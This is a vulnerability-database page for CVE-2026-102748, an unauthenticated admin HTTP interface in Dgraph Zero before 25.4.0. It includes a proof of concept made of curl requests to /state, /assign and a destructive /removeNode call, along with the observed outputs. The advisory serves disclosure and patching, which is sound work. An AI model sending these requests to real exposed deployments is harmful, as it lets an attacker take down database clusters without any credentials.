Vulnerability-Lookup

GHSA-QJ98-GP63-54XJ

Vulnerability from github – Published: 2026-10-15 20:17 – Updated: 2026-10-15 20:17

Summary

Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service

Details

Summary

Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.

The exposed routes include:

/state
/assign
/removeNode
/moveTablet

An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.

Details

The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.

Relevant code paths:

worker/server_state.go:41
dgraph/cmd/zero/run.go:295-301
dgraph/cmd/zero/http.go:106-129
dgraph/cmd/zero/zero.go:475-477

The relevant behavior is:

disable-admin-http=false by default
/removeNode accepts attacker-controlled id and group
removeNode forwards those directly into Server.RemoveNode
for group=0, Server.RemoveNode immediately calls ProposePeerRemoval

This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.

PoC

Read state without authentication

curl -i http://127.0.0.1:6080/state

Observed response included:

Zero node id=1
groupId=0
leader=true
cluster topology and tablet state

Write-capable route without authentication

curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'

Observed response:

HTTP/1.1 200 OK
...
{"startId":"1", "endId":"1", "readOnly":"0"}

This confirms the admin plane is not merely informational.

Destructive unauthenticated removeNode

curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'

Observed result:

curl: (52) Empty reply from server

Immediately afterward:

curl -i http://127.0.0.1:6080/health

Observed result:

curl: (56) Recv failure: Connection reset by peer

Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:

dial tcp [::1]:5080: connect: connection refused

This confirms the request reached the destructive path and disrupted the Zero control plane.

Impact

Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.

An attacker can:

read cluster topology and control-plane metadata
allocate IDs and timestamps
invoke destructive membership actions
disrupt the Zero control plane
indirectly destabilize Alpha nodes that depend on Zero connectivity

This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.

Severity

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.3.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102748"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:17:22Z",
    "nvd_published_at": "2026-10-14T19:17:05Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nDgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable.\n\nThe exposed routes include:\n\n- `/state`\n- `/assign`\n- `/removeNode`\n- `/moveTablet`\n\nAn unauthenticated request to `/removeNode?id=1\u0026group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`.\n\n### Details\n\nThe issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.\n\nRelevant code paths:\n\n- `worker/server_state.go:41`\n- `dgraph/cmd/zero/run.go:295-301`\n- `dgraph/cmd/zero/http.go:106-129`\n- `dgraph/cmd/zero/zero.go:475-477`\n\nThe relevant behavior is:\n\n- `disable-admin-http=false` by default\n- `/removeNode` accepts attacker-controlled `id` and `group`\n- `removeNode` forwards those directly into `Server.RemoveNode`\n- for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval`\n\nThis means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed.\n\n### PoC\n\n### Read state without authentication\n\n```bash\ncurl -i http://127.0.0.1:6080/state\n```\n\nObserved response included:\n\n- Zero node `id=1`\n- `groupId=0`\n- `leader=true`\n- cluster topology and tablet state\n\n\u003cimg width=\"1878\" height=\"810\" alt=\"\u56fe\u7247\" src=\"https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a\" /\u003e\n\n### Write-capable route without authentication\n\n```bash\ncurl -i \u0027http://127.0.0.1:6080/assign?what=nsids\u0026num=1\u0027\n```\n\nObserved response:\n\n```text\nHTTP/1.1 200 OK\n...\n{\"startId\":\"1\", \"endId\":\"1\", \"readOnly\":\"0\"}\n```\n\nThis confirms the admin plane is not merely informational.\n\n\u003cimg width=\"1877\" height=\"805\" alt=\"\u56fe\u7247\" src=\"https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7\" /\u003e\n\n### Destructive unauthenticated removeNode\n\n```bash\ncurl -i \u0027http://127.0.0.1:6080/removeNode?id=1\u0026group=0\u0027\n```\n\nObserved result:\n\n```text\ncurl: (52) Empty reply from server\n```\n\n\u003cimg width=\"1877\" height=\"806\" alt=\"\u56fe\u7247\" src=\"https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e\" /\u003e\n\nImmediately afterward:\n\n```bash\ncurl -i http://127.0.0.1:6080/health\n```\n\nObserved result:\n\n```text\ncurl: (56) Recv failure: Connection reset by peer\n```\n\n\u003cimg width=\"786\" height=\"47\" alt=\"\u56fe\u7247\" src=\"https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa\" /\u003e\n\nAlpha health was still locally reachable, but Alpha logs began repeatedly reporting:\n\n```text\ndial tcp [::1]:5080: connect: connection refused\n```\n\n\u003cimg width=\"1688\" height=\"197\" alt=\"\u56fe\u7247\" src=\"https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894\" /\u003e\n\nThis confirms the request reached the destructive path and disrupted the Zero control plane.\n\n### Impact\n\nAny deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities.\n\nAn attacker can:\n\n- read cluster topology and control-plane metadata\n- allocate IDs and timestamps\n- invoke destructive membership actions\n- disrupt the Zero control plane\n- indirectly destabilize Alpha nodes that depend on Zero connectivity\n\nThis is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.",
  "id": "GHSA-qj98-gp63-54xj",
  "modified": "2026-10-15T20:17:22Z",
  "published": "2026-10-15T20:17:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102748"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service"
}

CVE-2026-102748 (GCVE-0-2026-102748)

Vulnerability from cvelistv5 – Published: 2026-10-14 18:34 – Updated: 2026-10-15 15:06

Title

Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service

Summary

Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.

Severity

9.2 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-15 14:22 UTC

CWE

CWE-306 - Missing Authentication for Critical Function
CWE-862 - Missing Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7628 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/dgraph-io/dgraph/security/advi…	x_refsource_CONFIRM
https://github.com/dgraph-io/dgraph/commit/c32f60…	x_refsource_MISC
https://github.com/dgraph-io/dgraph/releases/tag/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
dgraph-io	dgraph	Affected: < 25.4.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-102748",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-15T14:22:41.542294Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-15T15:06:27.332Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dgraph",
          "vendor": "dgraph-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 25.4.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.2,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-14T18:34:15.971Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj"
        },
        {
          "name": "https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1"
        },
        {
          "name": "https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0"
        }
      ],
      "source": {
        "advisory": "GHSA-qj98-gp63-54xj",
        "discovery": "UNKNOWN"
      },
      "title": "Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-102748",
    "datePublished": "2026-10-14T18:34:15.971Z",
    "dateReserved": "2026-09-29T16:19:11.296Z",
    "dateUpdated": "2026-10-15T15:06:27.332Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-QJ98-GP63-54XJ

Summary

Details

PoC

Read state without authentication

Write-capable route without authentication

Destructive unauthenticated removeNode

Impact

CVE-2026-102748 (GCVE-0-2026-102748)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour